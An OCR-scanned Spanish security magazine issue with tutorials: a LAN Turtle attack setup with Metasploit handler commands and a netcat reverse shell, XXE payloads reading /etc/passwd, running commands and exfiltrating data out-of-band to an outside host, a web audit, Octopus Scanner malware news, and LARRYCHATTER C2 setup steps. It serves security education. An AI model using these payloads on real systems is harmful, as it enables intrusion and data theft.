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Nos encontramos en la undécima edicién, casi llegando al final
del proyecto; para compartir una vez mas lo que algunos
miembros de la comunidad nos han acercado.

En esta edicién encontraran articulos que abarcan diversos

temas, contribuyentes de ampliar el conocimiento,

refrescarlo, o pasar un momento entretenido con su lectura.

También en esta oportunidad, rescatamos la libertad como
valor que nace del conocimiento. Cada vez que aprendemos
algo, nos empodera para hacer frente a las decisiones que
tomamos. Y cada vez que compartimos algo, estamos
aprendiendo nuevamente.

Dicen que el conocimiento es poder, otros piensan que mas
que poder es autonomia, es libertad, solo quien conoce esta
en condiciones de elegir.

La inteligencia artificial facilita nuestra vida, pero nunca podra
sustituirnos por completo, los robots toman decisiones, pero
previamente alguien los “ensefi¢” o técnicamente hablando:
los programo; en consecuencia, dependen del ser humano y
sus elecciones.

En sintesis, lo invitamos a que disfruten de la lectura de esta
penultima edicion, deseando que sean cada vez mas libres y
autosuficientes.
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MALWARE OCTOPUS

SCANNER

Hace unos dias resonaba la informacion que habian descubierto en GitHub
distintos proyectos de infeccion de malware enfocados al popular IDE
“NetBeans”, que es empleado en el proceso de compilacién para efectuar la
distribucion del malware.

Escrito por: @DRAGORA | MODERADOR GLOBAL UNDERCODE
Es Ingeniera en sistemas Computacionales, encantada por el mundo geek,
Dedicada a Telecomunicaciones, y miembro muy activa de la comunidad
UndercOde.

Contacto:
underc0de.org/foro/profile/Lily24

uedando expuesto que con la ayuda del malware Octopus Scanner,

backdoors se camuflaron en 26 proyectos abiertos con repositorios en
GitHub. Las primeras evidencias de la existencia de Octopus Scanner
estan registrados con fecha agosto de 2018.

|

~y

NOTICIAS
INFORMATICAS

undercOde.org
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Octopus Scanner’ detecta archivos con proyectos de NetBeans y agrega su propio cédigo a los archivos de proyecto
y archivos JAR recopilados.

El objetivo de su algoritmo es hallar el directorio de NetBeans con proyectos de usuario, iterar sobre todos los
proyectos en este directorio para llegar a la colocacion del script malicioso en nbproject/cache.dat efectuando
modificaciones en el archivo nbproject/build-impl.xml| para vocear a este script cada vez que se edifica el
proyecto.

En el proceso de compilacion, se incorpora una copia del malware en los archivos JAR
provenientes, convirtiéndose en surtidor de distribucion adicional. Ejemplificando, se emplearon archivos
maliciosos en los repositorios de los 26 proyectos abiertos anteriormente mencionados, asi como en
distintos proyectos al difundir compilaciones de nuevas versiones.

Cuando cargamos e iniciamos un proyecto con un archivo JAR malicioso por otro usuario, el siguiente ciclo
de busqueda de NetBeans e introduccion de cddigo malicioso principia en su sistema, que pertenece al
patron de trabajo de los virus informaticos de propagacién automatica.

Adiciona dependencias de backdoor para conceder paso remoto al sistema.

Al analizar los proyectos afectados, fueron encontradas cuatro ramales de infeccién. Para activar backdoor
en Linux, establecio el archivo de ejecucién automatica «$ HOME/.config/autostart/octo.desktop» en el caso
de Windows, las tareas se iniciaron a través de schtasks para iniciar.

Asi opera el escaner Octopus:

e Identifica el directorio NetBeans del usuario

e Enumera todos los proyectos en el directorio de NetBeans

e Carga el cddigo en cache.datanbproject/cache.dat

e Modifica nbproject/build-impl.xml para asegurarse de que la carga maliciosa se ejecuta cada
vez que se construye el proyecto NetBeans

e Si la carga maliciosa es una instancia del escaner Octopus, el archivo JAR recién creado
igualmente esta infectado.

Investigadores de GitHub no descartan que el movimiento malicioso no se limita a NetBeans y existen
variaciones de Octopus Scanner que podrian anexarse en el proceso de compilacion basado en Make,
MsBuild, Gradle y otros sistemas.

Los proyectos afectados, pueden ser hallados en una busqueda en GitHub por la mascara «CACHE.DAT».

1 Alvaro Mufioz, 28/05/2020, El malware de Octopus Scanner: atacando la cadena de suministro de cédigo abierto, securitylab.github.com/research/octopus-scanner-

malware-open-source-supply-chain, Consultado: 07/06/2020.
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LAN TURTLE

HACKING

Un dispositivo que fisicamente es un adaptador Ethernet - USB, que facilita el

trabajo de los atacantes ya que no interrumpe la conexion de la LAN, sino que crea

. [ ] =
una Lan independiente, al operar con un micro procesado al interior de la ™ E |
herramienta. EsE==
Su principal funcién es espiar redes, crear accesos backdoor y crear ataques de :
hombre en el medio (man in the middle attack). —_

- T

Escrito por: @OROMAN EN COLABORACION CON UNDERCODE === &

Ingeniero en tecnologias de la informacién, en el area de seguridad informatica -

é_g_b y seguridad de la informacién desde hace 5 afios. —

Curioso de las nuevas tecnologias emergentes y la economia digital. M e - :
Co-Fundador de la Startup Prometheo, dedicada a desarrollo de aplicaciones con

tecnologias emergentes. e

Contacto: 2 - L:

s & ol

www.prometheodevs.com

]
I
3
i
"
|

uede generar redes VPN hacia la LAN ya que cuenta con un modulo de
instalacién, permitiendo instalar OpenVPN para realizar conexiones externas
hacia dentro de una red corporativa.

undercOde.org
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Compuesta de 6 partes:
1- USB: Sirve para conectar el cable Ethernet a la computadora por puerto USB.
2- Cuerpo.
3- Puerto Ethernet.
4- Indicador de encendido verde LED: indica que esta en funcionamiento y hay
alimentacion eléctrica.
5- Indicador de estado amarillo LED: indica que esta conectado y se estan
trasmitiendo datos.
6- Boton de reinicio (estuche interior): Este botén se encuentra dentro de la herramienta, para poder acceder a él
se debe de desatornillar y quitar la carcasa.

COnNEXION
Es posible configurarla mediante una conexién SSH, podemos utilizar Putty para hacer la conexién, seleccionado SSHy

se conecta automaticamente, no tiene contrasefa predeterminada asi que debemos de configurarle una.

Main Menu
S=o4) T o=z
/ \/ LAN TURTLE \/ A

u by Hak5 U u

onricjiiconzigure the tan Turcie
Modules Module configuration
Ebout
Help
Exit

Al iniciar la LAN turtle nos encontramos con un menu tipo BIOS el cual cuenta con algunas opciones las cuales
comentaremos a continuacion:

e Config: En este m6dulo podemos cambiar la IP de la herramienta, asi como la MAC, ademas de algunas configuraciones
de rangos de DHCP, es bastante importante por si las computadoras tienen algun tipo de bloqueo por medio de estas
medidas.

e Modules: Dentro de este menu se encuentran todos los payload, que podemos utilizar cuando conectamos la
herramienta de manera exitosa, entre ellos el mas destacado es permitir crear una Shell inversa configurando el RHOST
y el puerto destino.

¢ About: informacion sobre la herramienta.

¢ Help: Informacion sobre configuracién, cambio de password, etc...

- = J . -
Primera conexion por putty &2 PuTTY Configuration X
Category:-
. . .. =l Session Basic options for your PuTTY session
Es recomendable configurar la LAN Turtle en el dispositivo | _-Logang Spoify the dostination you want (o connect to
que realizara el ataque, ya que cuando se conecte a lavictima = g™ F;’Zfﬁfﬁffr F address) H';Z“
o o o e . i Features
todo debe estar bien configurado para que no falle al iniciar. & window Connection type: - -
] Appearance ) Raw () Telnet () Rlogin (@) SSH () Serial
Cuando este conectado a la computadora via USB, LAN Turtle = Sehaveur Load, save or delete a stored session
. , . | .. Selection Saved Sessions
se iniciara, la secuencia de arranque se completa en unos 30 | | - colours
= Connection
segundos, durante la cual el LED amarillo parpadears, la pate pefault Setings Load
. Q Save
primera vez que se conecte la LAN turtle, el LED amarillo Riogn
=+ SSH Delete
continuara parpadeando hasta que la configuracion inicial se Serial
complete a través de SSH. Ya que se haya completado el Close window on ext: .
() Always () Never (®) Only on clean exit
arranque en la interfaz de red de LAN Turtle se habilitara una
About Help Cancel
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interface de red con una IP 172.16.84.X. Debemos asegurarnos que el equipo host esta configurado para aceptar IP
desde DHCP o alternativamente, especificar una direccion estatica en el rango de IP de la LAN turtle. Una vez que la
herramienta arranca completamente y se le ha asignado una direccion IP a la computadora el operador puede acceder
a la Shell de la herramienta a través de SSH.

Al ingresar por primera vez nos mostrara una pantalla de inicio en forma de terminal

&2 172.1684.1 - PUTTY — O X

o=o /) (F%he=c
\/ LAN TURTLE \/__ \_
by Hakb UuU
199q99999999999999a9ddq4dqadadaaqaqaaqaqqaaad

Moédulo de configuracion:

&2 17216.84.1 - PuTTY - O X

Configuration

Disables startup on SSH
(requires an internet connection)

modulos
La primera vez que iniciamos LAN turtle no tenemos ningdin modulo, para eso necesitamos conectarla a la LAN con
internet y movernos a Modulo -> Configuracion.

W@ 17216841 - PUTTY (] ¢

Current Status:
Bootup Status: Enabled

Module Manager

> < DISABLE > [

Descargamos y actualizamos los médulos:

#® 172.16.84.1 - PUTTY [} >

Snagging creds from locked machines
AutoS55H maintains persistent secure
Clone Client's MAC address into WAN interface
Schedule Tasks
DDNSC - Dynamic Domain Name Service Client
dnsspoof forges replies to arbitrary DNS addr
DNSSpoof using DNSMasg instead of Dsniff tool
Follow log printing data as file grows
iodine DNS Tunneling module. Establishes a DN
SSH Key Manager
Metasploit payload to maintain shells

tp Metasploit HTTPS payload for more discrete =

46%

|<EELECT -] < BACK >
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INTERACTURANDO CON METERPRETER
Primero creamos un handler que escuche la conexién de la LAN turtle, para que sea mas rapido lo hacemos con
Armitage, vamos al menu de payloads y seleccionamos un reverse tcp que sea compatible con el de la LAN Turtle (en
este caso el meterpreter normal).

Armitage View Hosts Attacks Workspaces Help
>l java A
» (&5 linux
> [ﬁ mainframe
*ﬁjmum
» (B netware
» (& nodsjs
» [ osx
* (@ phe
» (& python
rEr
> [ﬁ ruby
*ﬁjsdmm
* @ty
¥ (& windows

| 1 adduser

> [ﬁ dllinject
| | dns_txt_query_exec
| | download_exec
|1 exec
| 1 format_all_drives
|| loadlibrary
| ] messagebox

L4 [a meterpreter
| 1 meterpreter_bind_tcp
|1 meterpreter_reverse_http
| | meterpreter_reverse https
|| meterpreter_reverse_ipv6_tcp
| 1 meterpreter_reverse tcp
| | metsve_bind_tcp
| 1 metsvc_reverse tcp

» [ patchupdllinject

- patchupmeterpreter
| | powershell_bind_tep
| | powershell_reverse_tcp

* (& shell
| 1 shell_bind_tcp
| 1 shell_bind_tcp_xpfw
| 1 shell_hidden_bind_tcp
| 1 shell_reverse_tcp
| 1 speak_pwned

» (i upexec

> [ﬁ vncinject

> (5 x64

L ﬁ post

EAN

Lo ejecutamos con la informacién por defecto:

msf > use exploit/multi/handler
msf exploit( } = set PAYLOAD windows/meterpreter_reverse_tcp
PAYLOAD == windows/meterprete everse_tcp
mst exploit( ) = set LHOf 172.16.84.130
LHOST == 172.16.84.130
mst exploit( )} = set LPORT 9253

53
msf exploit( ) = set Encoder x86/shikata_ga_nai
Encoder x86/shikata_ga nai
msf exploit( )} = set EXITFUNC process
EXITFUNC process
msf exploit( )
ExitOnSession => fals
msf exploit( )
Iterations =
msf exploit( ) = exploit -j
[#] Exploit running as background job.
[*] Started reverse TCP handler on 172.16.84.130:9253

set ExitonSession false

Iterations 3

lule me
Current Status: Stopped
Bootup Status: Enabled

Metasploit payload to maintain shells

> ESEETE < DISABELE > <CONFIGURE>
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Configuramos el host remoto y el puerto, que en este caso es la ip atacante y el puerto destino.

rp. r Configuration
Meterpreter (Metasp101t Module)

Enter the Host and Port of the target meterpreter
LA EibEmEie

1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq
xListen Host: 2.16

xListen Port:

<Submit> <Cancel>

Ahora si damos start para que se ejecute el comando y esperemos lo mejor...
Como podemos ver, el ataque fue exitoso.

Armitage Wiew Hosts Afttacks Workspaces Help

|_1 messagebox A
» (& meterpreter
|_1 meterpreter_bind_tcp
[ meterpreter_reverse_http
|_] meterpreter_reverse_https
meterpreter_reverse ipv6_tcp
|| metsvcibmditcp
1 metsvc_reverse_tcp v

Console X | windows/meterpreter reverse tcp X | Pass Session X |

msf > use exploit/multi/handler
msf exploit( ) > set PAYLOAD windows/meterpreter_reverse tcp
PAYLOAD => windows/meterpreter_reverse_tcp
msf exploit( ) > set 0ST 172.16.84.130
.L7Z 16.84.130

) > set LPORT 9253

) > set Encoder x86/shikata_ga nai

( ) > set EXITFUNC process
process
msf exploit( ) > set ExitOnSession false
ExitOnSession => false
msf exploit( ) > set Iterations 3
ations => 3
exploit( ) > exploit -j
Exploit running as background job
Started reverse TCP handler on 172.16.84.130:9253
Meterpreter session 1 opened (172.16.84.130:9253 -> 172.16.84.1:40500) at 2017-10-16 142:33 -0400
negotiating tlv encryption
172.16.84.1 - Meterpreter session 1 closed. Reason: Died
Meterpreter session 2 opened (172.16.84.1. 253 -> 172.16.84.1:40501) 2017-10-18 142: -0400
negotiating tlv Pn(lyptlun
172.16.84.1 ete ession 2 closed. Reason: Died
Meterpreter session 3 DanPﬂ (172.16.84.130:9253 -> 172.16.84.1:40502) at 2017-10-10 12:42:36 -0400
negotiating tlv Pn(lyptlun
172.16.84.1 e er session 3 closed. Reason: Died
Meterpreter ene +16.84.1: 253 -> 172.16.84.1:40503) at 2017-10-16 142: -04600
negotiating tlv encryption
172.16.84.1 - Meterpreter session 4 closed. Reason: Died
Meterpreter session 5 opened (172.16.84.130:9253 -> 172.16.84.1:40504) at 2017-10-10 12:42:39 -0400
negotiating tlv encryption
172.16.84.1 - Meterpreter session 5 closed. Reason: Died
Meterpreter sessi ene .16.84.130:9253 -> 172.16.84.1:40505) at 2017-10-10 12:42:41 -0400

:~# netcat -1 -v -p 7777

1istening on [any] 7777 ...

Current Status: Started
Bootup Status: Enabled

NetCat Reverse Shell

O T O O O O T O T W

ACK P < STOP > < DISABLE > <CONFIGURE>
q999999999999999999999999IgIqaqa9qadaggdgada9qa99dadgaqaqagyj
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La configuracién es la ip del atacante y el puerto:
NetCat R

1]

verse Shell Configuration

This module initiates a simple TCP reverse shell
(/bin/sh) using NetCat to the specified host/port.

1gqagqqagaqaadaaddaddqaagddgadaadaddaddaddgdqaqaaaqaaagada
xHost: il72.16.84.130

<Submit> <Cancel> < Help >

Después de esto ejecutamos la conexién

Module netcat-revshell
Current Status: Started
Bootup Status: Enabled

NetCat Reverse Shell

T T T R W

< BaCK > HEISIEEP < DISABLE > <CONFIGURE>
49999999999999999999999999999999999999IIdI9IIIIIIIIIIIIII]]

Y automaticamente tenemos una conexién hacia la maquina atacante:

:~# netcat -1 -v -p 7777
listening on [any] 7777
connect to [172.16.84.130] from turtle.lan [172.16.84.1] 44935

uname -a
Linux turtle 3.10.49 #7 Thu Jul 16 05:05:51 PDT 2015 mips GNU/Linux

Para terminar, solo seleccionamos el médulo Exit.

Main Menu
= /%) (*\.-.
/ \/ LAN TURTLE \/ A
Uuvu by Hakb Uuu

1qg99999999999999999999999999999999999999999T
Config Configure the LAN Turtle
O Module configuration

=R

NENNNNNNNNNNNW

< B >

e(o(e(eeleslefsle(es(o{s(a]e(ule ols (o e o]e (s e (s ]e (s (e (o (o (o (s e (sle(s{e(e s a{s a]s sls (o

La cual nos arroja la interface en linea de comandos de un pequefio sistema Linux.
Damos exit y se termina podemos retirarla.
&8 172.16.84.1 - PuTTY , — O X




FALLAS DE

SEGURIDAD EN EL
CODIGO FUENTE

SEGURIDAD WEB

Realizamos una auditoria a una plataforma web y queremos compartirles que .t m

nos encontramos con fallas de seguridad en el codigo fuente, por eso les ——

ensefiaremos una nueva herramienta que sera muy Util a la hora de recolectar

informacién de un dominio. [

Escrito por: @ANTRAX | ADMINISTRADOR UNDERCODE ——=
Trabaja actualmente como QA en dos empresas de software, controlando la ===
calidad de los desarrollos que realizan, sometiéndolos a distintas pruebas,

como lo es la seguridad. Participa activamente en la comunidad de UndercOde SEEEE =

como administrador. —

|

Disfruta investigar temas nuevos y redactar papers de lo que va aprendiendo para que .
después mas gente pueda aprender de ellos.

Contacto: . Z : ::

underc0Ode.org/foro/profile/ANTRAX N a =

na de las primeras cosas al realizar, es utilizar Acunetix para listar todos _;;

los directorios de la web. Acunetix cuenta con un Crawler muy potente —
que recolecta toda la estructura de la web y asi poder ver archivos o ="
directorios ocultos. Si no se encuentra nada raro, se puede proceder a =

enumerar el dominio, viendo si ese dominio tenia o no subdominios
maquinas.

undercOde.org
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Para esto se pueden usar varias herramientas, pero hablaremos de una nueva.

Se trata de una web que presta servicio de enumeracién de dominios, dns, entre otras cosas: dnsdumpster.com

En nuestro caso al escanear la web, nos topamos con un subdominio que llevaba a un backoffice

Al ingresar a este subdominio nos topamos con un formulario de login simple, en donde solo pedia usuario y
contrasefia

LOGIN

Curator Data Portal
[PRODUCTION]

Username

Password

No habia mucho que hacer aca, hasta que revisamos el codigo fuente y fue cuando salié a la vista algo muy
curioso.

<div class="block block-t d animated fadeln">
<div class="block-header bg-primary">
<ul class="block-options">

a href="https://backend co.uk/register" data-toggle="tooltip" data-placement="left" title="Nev Account"><1 class="s1 si-p
</ul>
<h3 class="block-title">Login</h3>
</div>
<div class="bl 1t block-content-full block-content-narrow™>
<hl class~" f ush-30-t push~-5">Curator Data Porcal [PRODUCTION)</h1>

<form olass="js-vali

qu

1 push-30-t push-50" method="

,C0.uk/login">

<input type="hidden" name=" token" value="TxoSHHBUVCAIFFUINQ7SVEwR206Ngh0aTnolJ21D">



https://dnsdumpster.com/
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La web tenia cddigo comentado, como, por ejemplo, un link para resetear la password y otro para crear nuevas
cuentas. Procedimos a borrar el codigo comentado con el inspector de elementos del browser para hacer aparecer
esos elementos, aunque también servia copiar y pegar la url en una nueva pestafia.

ar en HTML . +

<l--Login Block-->
w <div class="block block-themed animated fadeIn™>
w <div class="block-header bg-primary">
: :before

= <ul class="bleck-ocptions™»

- <lix
- <@ href="https://backend. .co.uk/password/reset”»Forgot Password?</a»

</1i>
- <li»
- <@ href="https://backend. .co.uk/register” data-toggle="tooltip” data-placement="left”

title="New Account™»<i class="s1 si-plus™»</ix</a>
</1i»
</ul>

El resultado fue el siguiente:

Curator Data Portal
[PRODUCTION]

Welcome, please login.

Username
Password

Remember Me?

Como se puede ver en la imagen, aparecié un link para reestablecer la contrasefia, para crear nuevas cuentas y
para recordar la sesion.

Al querer crear una nueva cuenta, apareciendo lo siguiente:

Server/Request Data

F FRROR PHP_EXTRA_CONFIGURE_ARGS
- > HOSTNAME

View [layouts.app] not found. (View: 0B_PORT

Ivar/lwww/resources/views PHP_INI_DIR

lauth/register.blade.php) HOME

PHP_LDFLAGS

PHP_CFLAGS

PHP_MDS

PHP_VERSION

GPG_KEYS

PHP_CPPFLAGS

PHP_ASC_URL

PHP_URL

PATH

PHPIZE_DEPS

P

PHP_SHA256

DB_HOST

USER

HTTP_UPGRADE_INSECURE_REQUESTS "1

HTTP_COOKIE

HTTP_REFERER

HTTP_ACCEPT_ENCODING

HTTP_ACCEPT_LANGUAGE

HTTP_ACCEPT

liluminate\View\FileViewFinder findinPaths HTTP_USER_AGENT

HTTP_CONNECTION

ww-data --with-fpm-group=www-data --disable-cgi”

lluminate\View\Engines\CompilerEngine
handieViewException

InvalidArgumentException

mlexml,application/xml;q=8.9,1i

10.9; Winb4; x64; rv:i74.0) Gec
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Errores del servidor por todos lados y tir6 muchos datos de directorios, configuraciones, usuarios, etc. Y por otro
lado teniamos el link de reestablecer contrasefa:

Reset Password

E-Mail Address HAIL UNDERCODE!l

Send Password Reset Link

Y desde aca, podemos resetearle las contrasefas a todos los usuarios.

COoOnN ESTO PODEMOS CONCLUIR 2 COSAS:

1. Jamas dejen de revisar el cédigo fuente de las aplicaciones
2. iNunca contraten programadores que dejan cddigo comentado en produccion!




INTRODUCCION AL
XXE

SEGURIDAD WEB

XML external entity injection (también conocida como XXE) es una vulnerabilidad web
que permite a un atacante interferir con el procesamiento de datos XML de una

. [ ] |
aplicacién. Esto puede permitir al atacante obtener archivos del servidor, ejecutar = |
comandos e incluso interactuar con cualquier sistema externo al que pueda acceder === @
la propia aplicacion. Algunas aplicaciones usan el formato XML (al igual que JSON) para =
transmitir datos entre el navegador y el servidor. Las aplicaciones que hacen esto |l |
normalmente suelen usar alguna libreria estandar o incluso alguna API para procesar : —
los datos XML en el servidor. T E |

Escrito por: @BLACKDRAKE | CO-ADMIN UNDERCODE W ~
- Co-Fundador de Red4Sec, donde actualmente realiza auditorias de seguridad. EEEES

*,' ‘h'," Apasionado de la seguridad web y blockchain. Ademdas de que posee las - |
g certificaciones OSCP y OSWP. i 8
Contacto: & - L:

undercOde.org/foro/profile/blackdrake HL |

Redes sociales: |

Twitter: @alvarodh5 === &

as vulnerabilidades XXE surgen porque la especificacion XML contiene varias

|“|“| LE

caracteristicas potencialmente peligrosas y muchas librerias admiten estas

caracteristicas incluso aunque la aplicacion no las utilice. (o 3%+

undercOde.org
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EXPLOTACION DE UN XXE

Para realizar un atague XXE debemos modificar el XML que enviamos de la siguiente forma:

e Debemos introducir (o editar en caso de que exista) un elemento DOCTYPE de esta forma
definiremos una entidad externa que contiene la ruta al archivo.

e Editamos el valor que introducimos en el XML haciendo referencia a la entidad externa definida en el
paso anterior.

Un ejemplo de explotacion seria el siguiente:

Partimos del siguiente XML valido para la aplicacion:
<?xml version="1.0" encoding="UTF-8"?>
<empleados><empleadoID>5</empleadoID></empleados>

Obviamente en este caso la aplicacién no implementa ninguna medida contra ataques del tipo XXE, por lo
que nuestro objetivo sera exfiltrar el fichero /etc/passwd enviando el siguiente XML.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<empleados><empleadoID>5</empleadoID></empleados>

Como podemos observar en el XML anterior se define una entidad externa (&xxe) cuyo valor es el contenido
del fichero /etc/passwd, reflejandose en el campo empleadolD. Esto hace que la respuesta de la aplicacién
incluya el contenido del archivo solicitado.

PRUEBA DE CONCEPTO

A continuacion, pondremos en practica el ejemplo anterior en la siguiente aplicacién web. En este caso nos
encontramos con una aplicacién que permite realizar consultas SQL a través de XML.

XML Query
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Siguiendo el mismo formato de XML, inyectamos nuestro payload tal y como hemos visto anteriormente en
el ejemplo con el objetivo de obtener el /etc/passwd del servidor.

XML Query

xxe SYSTEM "file:///etc/passwd™> > |

rname>jonn%< /usernames
v

Como podemos observar en la respuesta se refleja el contenido del fichero.

Del mismo modo, podemos ejecutar comandos en el servidor (RCE), para ello utilizariamos el siguiente XML
teniendo en cuenta el ejemplo anterior:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "expect://id"> ]>

<empleados><empleadoID>5</empleadoID></empleados>

<?xml version="1,8"%
<!DOCTYPE foo [l <!ENTITY xxe SYSIEM "expect://id™> ]> |

<nome>fooe; < /name>
<ysername>john¥</username>
</query>

En muchas ocasiones nos encontraremos con blinds XXE. Esto significa que la aplicacién no devuelve los
valores de ninguna entidad externa definida en sus respuestas, por lo que no es posible obtener de forma
directa los archivos del lado del servidor.
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Las vulnerabilidades de Blind XXE se pueden detectar y explotar, pero se requieren técnicas mas avanzadas.
Se recomienda utilizar técnicas out-of-band (oob) para encontrar la vulnerabilidad y explotarla con éxito
pudiendo exfiltrar la informacion deseada.

Un ejemplo, seria el siguiente:

XML a inyectar:

<!DOCTYPE data [
<!ENTITY % file SYSTEM
"file:///etc/paswd">
<!ENTITY % dtd SYSTEM
"https://underc@de.org/fichero.dtd">
%dtd;
1>

<data>&send;</data>

DTD alojado por nosotros:

<!ENTITY % all "<!ENTITY send SYSTEM 'https://undercOde.org/?collect=%file;"'>"> %all;

De esta forma, se realizara una peticion HTTP con el contenido del fichero /etc/passwd en el parametro
collect via GET.




LARRYCHATTER:

COMUNICACIONES CON EL
Ca&C ENCUBIERTAS EN
REDES SOCIALES

MALWARE

APT29, al que se le relaciona con el gobierno ruso, es un grupo de los mas
avanzados y capaces que oculta su actividad comunicandose a través de canales
encubiertos de redes sociales como Twitter o GitHub, asi como servicios de P
almacenamiento en la nube, para transmitir comandos y extraer datos de redes R
comprometidas.

Escrito por: @VISOR EN COLABORACION CON UNDERCODE
Vicente Motos, Creador de Hackplayers, blogger y organizador del congreso h-cOn.
Consultor de seguridad informatica y hacker ético. Actualmente red teamer/threat
hunter. Experiencia en arquitectura de sistemas y comunicaciones, investigacion de
vulnerabilidades, creador de varias herramientas, jugador de CTFs y amante del
software libre.

Contacto:

Blog: Hackplayers.com —=
Redes Sociales:

Con: h-cOn.com

Twitter: @hackplayers

W demas, mantiene un ciclo de desarrollo muy rapido para su malware,
alterando rapidamente las herramientas para dificultar la deteccién, utiliza

l“mI | 14

0

servidores comprometidos para la comunicacion con el C2 e incluso
monitoriza la actividad de la red para mantener el control sobre los
sistemas.

|

-0

undercOde.org
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En 2015, FireEye publicé un informe de HAMMERTOSS, el backdoor de este grupo que afiade niveles y niveles
de ofuscacién y mimetiza sus comunicaciones para asemejarse el comportamiento de los usuarios legitimos
y, 5 afios después, el mismo inspiro al (creo) indio Upayan Saha para crear su (manteniendo las distancias)
homonimo en Python3: LARRYCHATTER, una excelente PoC que demuestra la magia de los C2 sobre canales
encubiertos en redes sociales, en este caso a través de Twitter y Dropbox como se muestra en el siguiente
diagrama:

~

/\ : /Dropbox N

Access exfiltrated data T T

7’( Twitter

Issue enrr)pl'ed command

embedded in image \ Data Exfil

Read encrypted command
from image, decrypt it and
execute the command

, LARRYCHATTER _Implant
LARRYCHATTERCommand_Post (Running on Target

(Running on Operator Machine) Machine)

Como veis el operador del malware (CommandPost) va publicando en Twitter imagenes esteganograficas que
luego el ordenador de la victima con el implante lee y descifra para ejecutar los comandos pertinentes.
Ademas, ambos se mantienen sincronizados mediante el uso de THGA, que es basicamente un generador de
cadenas pseudoaleatorio que hace que la prediccion del handler del dia siguiente sea muy dificil utilizando
solo analisis estadistico. Posteriormente, utiliza Dropbox como medio para exfiltrar informacion.

@tdo}a7
On 22/12/2019

LARRYCHATTER _CommandPost
THGA Predictions: I

' @vw78fg - ~
1. 22/12/2019 - @t40j47 4-/

2. 23/12/2019 - @vw78fg On 23/14/2019 / \
3. 24/12/2019 - @feokmo @cnwich

4.25/12/2019 - @phtnp9 o Twitter
5. 26/12/2019 - @cnwjch On 20/12/2019

/

@phtnp9 .
On 25/12/2019

LARRYCHATTER _Implant
Looks for a seemingly
‘random’ Twitter handle
every day to recelve @feokmo
commands. If handle is On 24/12/2019
unregistered then do
nothing and walt for next
day. Repeat.

De esta manera, nada tiene que estar hardcodeado en el lado del implante, lo que aumenta su resistencia a
los takedowns de cuenta y garantiza la longevidad del implante en una maquina host.


https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/apt29-hammertoss-stealthy-tactics-define-a.pdf
https://1.bp.blogspot.com/-LQPyc7bnD80/XrX-g55M0II/AAAAAAABaPc/NzuOPQVcAs8UdDI1SRDtg1POz_yFqGs8wCLcBGAsYHQ/s1600/LARRYCHATTER_Simplified_Block_Diagram.png
https://1.bp.blogspot.com/-hHkGdg6_q3Q/XrX-yPGyf5I/AAAAAAABaPk/xpuJXEVGUf0Rc2QPfWMIl2lj5lLNJFkJgCLcBGAsYHQ/s1600/LARRYCHATTER_Twitter_Handle_Generation_Algorithm.png
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DEMO

Upayan Saha
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N

El repo contiene cuatro archivos de codigo fuente en Python3:

e LARRYCHATTER_CommandPost . py, que es el cédigo fuente del Command Post(CP).

¢ LARRYCHATTERImplant.py, que es el cédigo fuente del implante LARRYCHATTER.

e decrypter.py para descifrar la info recogida por el implante de la maquina de la victima y subida a Dropbox.
e generateHandle.py que contiene el c6digo para el algoritmo de generacion de identificadores de Twitter.

caracteristicas

e Sencilla Iégica detras del codigo: facil de comprender y replicar en nuestros propios proyectos C2.

e No es necesario hardcodear nada en el lado del implante, incluidas las claves API, lo que lo hace resistente a las
eliminaciones de cuentas, etc.

e No hay trafico sospechoso HTTP/HTTPS a dominios externos desconocidos de C&C. Solo el trafico observable es
Twitter y Dropbox. Esto podria ayudar a la evasion de Firewalls/IDS ya que esta basicamente disefiado para imitar el
comportamiento humano para hacer que el trafico del malware parezca legitimo con la esperanza de saltarse las
distintas soluciones de seguridad.

e Médulo 'kill': termina el implante en la maquina de destino.

e Modulo 'recon': realiza un reconocimiento inicial en el sistema de la victima, como informacién basica del sistema,
parches instalados, toma capturas de pantalla en un intervalo aleatorio durante 'x' minutos y busca todos los tipos
de archivos jugosos para su posterior filtracién y cifra toda la info recopilada y la comprime en un solo archivo antes

2 Proyecto: github.com/slaeryan/LARRYCHATTER



https://github.com/slaeryan/LARRYCHATTER
https://1.bp.blogspot.com/-t7jArWdyGqE/XrX_FssGAwI/AAAAAAABaPs/G_lHKRO0uf46ABJr_gmMVcPr2m6K5aStQCLcBGAsYHQ/s1600/larrychatter.gif
https://1.bp.blogspot.com/-CUYy5HyNHZ0/XrX_Tc2GqHI/AAAAAAABaPw/x1HaMR9PKLUXnd70U3qPVi_vnwX_qQ12QCLcBGAsYHQ/s1600/vt-scan.PNG
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de subirla a Dropbox para que los operadores lo recuperen mas tarde. Actualmente solo admite Windows. Por el
momento sin subrutinas de evasién de AV pero completamente funcional.

e Esteganografia basica integrada.

e Soporta cifrado simétrico con AES de 128 bits en modo CBC.

e Programado en Python 3.

e Soporte un unico implante por CommandPost ya que esta es solo una versién prototipo.

e Para probar el handler del Algoritmo de Generacién en Twitter, necesitariamos multiples claves API de desarrollo,
pero vincular el THGA con el cédigo deberia ser muy facil. Por simplicidad, no viene integrado para poder probarlo
facilmente.

PRE-REQUISITOS

e Una cuenta de desarrollo de Twitter (jusa una cuenta dedicada! {NO uses una cuenta personall) Crea una
aplicacién con acceso de lectura y escritura. Especificamente anota los valores de CONSUMER KEY,
CONSUMER SECRET, ACCESS TOKEN y ACCESS TOKEN SECRET. Ademas, anota el Identificador/Nombre de
usuario de la cuenta de Twitter.

e Una cuenta de Dropbox. (Nuevamente, jusa una cuenta dedicada! {NO uses tu cuenta personal!) Genera
un token API. Nuevamente, una tarea bastante facil.

eUna maquina virtual Linux y una maquina virtual Windows 7/8/10 con Python3 instalado en ambas
maquinas.

GULla para probar el poc en 10 sencillos pasos

1. Clonar el repositorio usando:
git clone https://github.com/slaeryan/LARRYCHATTER.git

2. Instalar las dependencias de Python requeridas en ambas maquinas.
pip install -r requirements.txt
3. Ejecutar LARRYCHATTER_CommandPost.py en la maquina virtual Linux (maquina del operador) y seguir las

instrucciones. Tenemos también el parametro de ayuda para mas info.
python3 LARRYCHATTER_CommandPost.py

4. Abrir el archivo LARRYCHATTER_Implant.py desde la VM de Windows, modificar la variable del nombre de usuario

